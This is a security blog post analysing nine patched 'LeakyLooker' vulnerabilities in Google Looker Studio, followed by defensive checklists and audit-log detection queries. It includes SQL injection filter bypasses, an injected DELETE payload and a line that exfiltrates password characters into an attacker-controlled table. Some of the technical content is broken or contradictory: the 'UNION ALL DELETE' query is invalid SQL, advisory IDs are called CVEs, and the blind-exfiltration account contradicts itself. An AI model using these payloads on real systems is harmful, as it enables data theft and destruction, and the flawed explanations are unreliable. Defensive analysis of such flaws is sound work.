Introduction

Google Looker Studio, a powerful Business Intelligence platform, connects live to your data sources—BigQuery, PostgreSQL, MySQL, Google Sheets, Cloud Storage—enabling real-time dashboards and reports. But a series of nine critical cross-tenant vulnerabilities (dubbed “LeakyLooker”) turned this strength into a major attack surface. Attackers could execute arbitrary SQL, exfiltrate sensitive data, and modify records without victim interaction or permission.

The core issue: Looker Studio’s credential architecture—differentiating between Owner Credentials (editor-level access) and Viewer Credentials (report consumer)—created two distinct attack vectors. A sophisticated attacker could craft malicious shared reports leveraging these credentials, executing zero-click server-side exploitation or luring victims through single-click social engineering.

Google has patched all nine vulnerabilities. However, understanding these flaws is critical: many organizations still rely on Looker Studio for sensitive analytics, and legacy deployments may remain exposed if not updated.

This post maps the vulnerability landscape, dissects three critical CVEs with proof-of-concept analysis, and provides detection and defensive strategies to help you audit your Looker Studio footprint.

Vulnerability Landscape

The nine LeakyLooker flaws emerged from two key architectural decisions that, when combined, created a perfect storm for exploitation.

Credential Models: Looker Studio supports two authentication modes. Owner Credentials Mode executes all queries against the original data source using the report owner’s authentication token—regardless of who views the report. This model prioritizes consistency (all viewers see identical data) but centralizes risk: a malicious shared report executes under the owner’s privileged context. Viewer Credentials Mode distributes authentication: each viewer authenticates independently, reducing the attack surface per report but introducing risk if compromised viewers are leveraged.

Attack Paths: These credential models enabled two exploitation pathways. 0-Click Attacks exploit Owner Credentials: attackers craft a malicious report and share it with a target owner. When the owner views their own report, the server executes injected SQL queries silently—no victim interaction required, just viewing the report. 1-Click Attacks exploit Viewer Credentials: attackers craft a malicious report link and socially engineer victims into clicking it. A single click triggers report opening, which executes the injected SQL in the victim’s context.

The Root Vulnerability: Looker Studio’s live data architecture—directly connecting to databases and issuing real-time queries—meant credentials flowed constantly through the system. Unlike static reports or cached data, live connections created continuous opportunities for SQL injection, data interception, and malicious query execution. Across these two credential models and two attack paths, the vulnerability surface exploded into nine distinct CVEs.

Credential Models & Attack Paths

Deep Dive #1: TRA-2025-28 – Zero-Click SQL Injection via Alias Injection

CVE: TRA-2025-28 Attack Type: 0-Click SQL Injection (Owner Credentials) Severity: Critical Impact: Arbitrary SQL execution in victim’s GCP project

The Vulnerability

Looker Studio allowed users to define custom column aliases in report configurations—friendly names for calculated or raw fields. These aliases were directly concatenated into BigQuery SQL queries without sanitization. An attacker could inject malicious SQL by crafting a specially formatted alias, bypassing Google’s input validation filters. When a report owner viewed the malicious report, Looker Studio silently executed the injected SQL under the owner’s credentials—no victim interaction required.

Bypass Techniques

Google’s input validation blocked obvious dangerous characters: dots (.), spaces, and SQL keywords. Attackers circumvented these filters using two methods:

SQL Comment Bypass: Replace spaces with empty SQL comments (/**/). Instead of SELECT * FROM table, an attacker submitted:

1

SEL/**/ECT * FR/**/OM table

The database parser treats /**/ as valid whitespace, reconstructing the original query while bypassing the space filter.

Character Encoding Bypass: Reconstruct dots and other characters using CHR() and CONCAT() functions. Rather than writing project.dataset.table, an attacker submitted:

1

CONCAT('project', CHR(46), 'dataset', CHR(46), 'table')

CHR(46) is the ASCII code for ., allowing attackers to reference fully qualified table names while evading the dot filter.

Attack Chain

  1. Setup: Attacker creates or gains access to a shared Looker Studio report
  2. Injection: Malicious SQL (using bypass techniques) embedded in a custom column alias
  3. Config Storage: Looker Studio stores the report config, including the alias, without sanitization
  4. Owner Trigger: Report owner views the shared report
  5. Query Construction: Looker Studio builds the BigQuery SQL query, concatenating the alias directly
  6. Silent Execution: Query executes under owner’s credentials; arbitrary SQL runs in owner’s GCP project context

Impact

From a single malicious report, attackers could:

  • Read: Exfiltrate all data from all BigQuery datasets in the owner’s project
  • Write: Insert malicious or fraudulent records into any table
  • Delete: Drop entire datasets or tables, destroying data integrity
  • Modify: Alter table schemas, credentials, or access controls

Real-World Example

An innocent report config with an alias:

1

"alias": "revenue_2025"

An attacker’s malicious alias:

1

"alias": "x' UNION ALL DELETE FROM `project.dataset.sensitive_table` WHERE '1'='1"

When concatenated, Looker Studio constructs:

1

SELECT CONCAT(revenue_2025, x' UNION ALL DELETE FROM `project.dataset.sensitive_table` WHERE '1'='1') FROM ...

The query breaks into two statements: the original SELECT, then an unexpected DELETE under the owner’s credentials.

Root Cause Analysis

Why did this critical flaw persist?

  • Input validation blocked obvious characters but not SQL syntax edge cases
  • Developers didn’t anticipate comment syntax (/**/) as a whitespace bypass
  • Character encoding functions (CHR, CONCAT) bypassed character filters
  • Aliases were concatenated directly into SQL strings instead of parameterized queries
  • No prepared statement protection; database drivers received raw, user-influenced SQL

Key Emphasis: The 0-click nature makes TRA-2025-28 exceptionally dangerous—viewing a report is exploitation. Combined with full database access, a single malicious shared link compromises an entire GCP project’s data layer.

TRA-2025-28 Attack Flow: Alias Injection

Deep Dive #2: TRA-2025-29 – The “Sticky Credential” Flaw

CVE: TRA-2025-29 Attack Type: Privilege Escalation / Credential Exposure Severity: Critical Impact: Unauthorized database access using owner’s stored credentials

The Vulnerability

Looker Studio’s “Copy Report” feature was designed for collaboration. However, the implementation committed a critical sin: when a report was copied, Looker Studio preserved the original owner’s stored database credentials in the copy. Any user with read access to a report connected to a JDBC data source (PostgreSQL, MySQL, etc.) could copy it and immediately inherit the owner’s authentication credentials. The attacker doesn’t need to know the actual password—Looker Studio automatically decrypts and applies it. The attacker can immediately access the “Custom Query” feature to execute arbitrary SQL using the stolen credentials.

Why It’s Particularly Dangerous

Unlike TRA-2025-28 (which requires SQL injection sophistication), this attack demands zero technical expertise. An attacker with read access simply:

  1. Copies the report (one click)
  2. Accesses the Custom Query feature in their own copy
  3. Executes arbitrary SQL using the original owner’s database credentials
  4. Original owner has zero visibility into the attack

The owner sees no alerts, no suspicious activity in their Looker reports—the malicious query executes under their credentials at the database level, appearing as if they performed the action.

Attack Scenario

Timeline:

  1. Setup: Alice (database engineer) creates a Looker Studio report connected to her PostgreSQL database, authenticated with her personal database credentials
  2. Sharing: Alice shares the report with her team (or it’s accessible via a shared link)
  3. Access: Eve (attacker) gains access through social engineering, a compromised account, or discovers the public link
  4. Copy: Eve copies the report → Looker Studio auto-preserves Alice’s database credentials in the copy
  5. Exploitation: Eve accesses the Custom Query feature in her copied report
  6. Execution: Eve executes a malicious query using Alice’s credentials:
1

DELETE FROM employee_salaries WHERE department = 'Finance';

Result: Financial records are deleted under Alice’s credentials, without her knowledge. Database audit logs show Alice performed the deletion. Alice is blamed; the actual attacker remains invisible.

Root Cause Analysis

The flaw: Looker Studio did not re-authenticate when reports were copied. The system assumed that if a user could view a report, they should inherit its credentials—conflating read access with write access to underlying data.

Better approaches: Re-authenticate on copy; avoid plaintext credential storage; use limited-permission service accounts instead of personal credentials; restrict who can copy sensitive reports; implement database-level field encryption.

TRA-2025-29 Sticky Credential Attack: Report Copy & Credential Exposure

Deep Dive #3: TRA-2025-27 – Blind Data Exfiltration via NATIVE_DIMENSION

CVE: TRA-2025-27 Attack Type: 1-Click SQL Injection + Blind Exfiltration Severity: Critical Impact: Database enumeration and character-by-character data extraction

The Vulnerability

Looker Studio’s NATIVE_DIMENSION feature allowed users to define custom calculated fields executing raw SQL directly against connected databases in the viewer’s context. The implementation concatenated user input directly into queries without escaping. An attacker could inject malicious SQL into a NATIVE_DIMENSION field, bypassing keyword filters using SQL comment tricks. Victims unknowingly executed the attack by simply opening a malicious report link—no additional interaction required.

Filter Bypass & Exfiltration Technique

Looker Studio blocked SQL keywords (SELECT, FROM, WHERE) via input validation. Attackers bypassed this by splitting keywords with empty SQL comments:

1
2

-- Bypass: SEL/**/ECT, FR/**/OM, WH/**/ERE
SEL/**/ECT COUNT(*) FR/**/OM INFORMATION_SCHEMA.TABLES

Database parsers reconstruct the original query while comments bypass the filter. TRA-2025-27 then exploited side channels—indirect signals that reveal data without direct visibility:

  1. Victim opens malicious report link → Phishing email with crafted report
  2. SQL injection triggers → Malicious SQL executes under victim’s credentials
  3. Schema enumeration → Attacker queries INFORMATION_SCHEMA for all tables, columns, data types
  4. Character-by-character exfiltration → Data written to attacker-controlled tables:
    1
2

    INSERT INTO `attacker-project.public.exfil`
SEL/**/ECT SUBSTRING(password, 1, 1) AS char FR/**/OM users;
  5. Reconstruction from logs → Google Cloud audit logs reveal query timing, error messages, and row counts, allowing password reconstruction without seeing results directly.

Why “Blind” Works

Attackers never see query results but extract data through side channels:

  • Timing: Data existence revealed by execution speed
  • Error messages: Indicate table permissions or structure
  • Row counts: Show how many matching records exist
  • Audit logs: Expose exact queries executed under victim’s account

These signals enable character-by-character extraction.

Real-World Impact

A victim clicks a phishing link. Within seconds: entire database schema enumerated, sensitive tables identified, passwords extracted to attacker-controlled tables. The victim has zero visibility until audit logs are reviewed. The 1-click nature plus complete invisibility makes TRA-2025-27 exceptionally dangerous.

TRA-2025-27 Exfiltration Flow: Blind Data Extraction via NATIVE_DIMENSION

Defensive Measures & Audit Checklist

While Google has patched these vulnerabilities, proactive audits are essential to understand exposure.

Access Control Audit:

  • List all shared reports (public and private)
  • Assess if all recipients need access
  • Remove unnecessary viewers from sensitive data

Data Source Connectors Audit:

  • Inventory active connectors (BigQuery, PostgreSQL, MySQL, Google Sheets, Cloud Storage, Spanner)
  • Map reports to connectors
  • Eliminate unnecessary connections

Credential Management:

  • Rotate all database passwords immediately
  • Replace personal credentials with service accounts (limited permissions)
  • Store credentials in Google Cloud Secret Manager
  • Restrict Looker Studio OAuth scopes

Report Copy Restrictions:

  • Disable “Copy Report” if not essential
  • Audit existing copies for credential exposure

Quick Checklist:

  • Audited “View” access to all reports
  • Removed unnecessary shared access
  • Documented all data source connectors
  • Rotated all database credentials
  • Migrated to service accounts
  • Limited report creation permissions
  • Restricted Looker Studio OAuth scopes
  • Disabled Copy Report
  • Documented acceptable custom query usage

Governance Moving Forward:

  • Require approval before new data source connections
  • Use naming conventions (prefix sensitive reports: SENSITIVE_)
  • Conduct quarterly access reviews
  • Monitor Cloud Audit Logs for anomalies

Detection Strategies

Although Google has patched these vulnerabilities, detecting exploitation attempts and confirming your exposure is critical. Audit logs are your primary detection mechanism—attacks leave distinct traces in query patterns and credential usage.

BigQuery Audit Log Signals

Query suspicious SQL patterns indicating injection attempts:

1
2
3
4
5
6
7
8

SELECT timestamp, principal_email, statement_type, query
FROM `project.region-us.cloudaudit_googleapis_com_activity`
WHERE resource.labels.resource_type = 'bigquery.googleapis.com/Project'
  AND (query LIKE '%/\*\*/%'
       OR query LIKE '%CHR(46)%'
       OR query LIKE '%CONCAT%'
       OR query LIKE '%INFORMATION_SCHEMA%')
ORDER BY timestamp DESC;

Identify unusual DELETE and DROP operations:

1
2
3
4
5
6

SELECT timestamp, principal_email, statement_type, query
FROM `project.region-us.cloudaudit_googleapis_com_activity`
WHERE resource.labels.resource_type = 'bigquery.googleapis.com/Project'
  AND (statement_type = 'DELETE' OR statement_type = 'DROP')
  AND principal_email LIKE '%@%'
ORDER BY timestamp DESC;

Looker Studio Activity Signals

  • Reports accessed by unexpected users or at unusual times (outside business hours, from new geographies)
  • Custom queries containing raw SQL with comment bypasses (/**/), character encoding (CHR, CONCAT)
  • Report copy events immediately followed by Custom Query execution
  • NATIVE_DIMENSION fields containing SQL keywords or comment syntax

Database Connection Anomalies

  • Database connections from unexpected IP addresses or GCP projects not normally accessing the database
  • Credentials used after the associated user account was deactivated or suspended
  • Unusual volumes of INFORMATION_SCHEMA queries within short time windows
  • DELETE or DROP operations originating from Looker Studio service accounts

Immediate Response Procedure

If exploitation is detected:

  1. Isolate – Disable Looker Studio report access immediately; revoke sharing links
  2. Investigate – Review full audit logs for extent and timeline of compromise
  3. Remediate – Rotate all database credentials and Looker Studio OAuth tokens
  4. Restore – Restore affected data from backups if deletions are confirmed
  5. Harden – Implement defense measures from the Defensive Measures section above

Defensive Measures Checklist & Audit Process

Conclusion

LeakyLooker represents a critical failure in security architecture—one that Google has patched, but whose lessons extend far beyond Looker Studio. Live database connections, insufficient credential isolation, and direct SQL concatenation created an exploitable nightmare. These failures aren’t unique to Looker; they highlight vulnerabilities present in many BI tools and data platforms.

Key Takeaways

  1. Live data connections are inherently high-risk. Direct database connections demand fortress-level security. If your BI platform connects live to production databases, assume the worst and architect accordingly.

  2. Credentials shouldn’t persist across security boundaries. Looker Studio’s “Sticky Credential” flaw violated a cardinal rule: inherited credentials from copied reports. Restrict who can copy sensitive configurations; use temporary, limited-permission tokens instead of long-lived credentials.

  3. Multi-layered filtering isn’t enough—use parameterized queries. Bypasses like SQL comments and character encoding will always exist. The only true defense is parameterized queries (prepared statements) that structurally separate data from code.

  4. Audit logs are your safety net. Query logs revealed exploitation in TRA-2025-27 and TRA-2025-29 when nothing else would. Invest in log aggregation, anomaly detection, and regular reviews.

Next Steps

For teams managing Looker Studio or similar BI platforms, the time to act is now. Audit your access controls ruthlessly. Rotate all stored credentials immediately—replace personal credentials with service accounts holding minimal necessary permissions. Implement detection strategies using Cloud Audit Logs to identify suspicious SQL patterns and unauthorized data access. Don’t assume patches alone protect you; understand your exposure.

Further Reading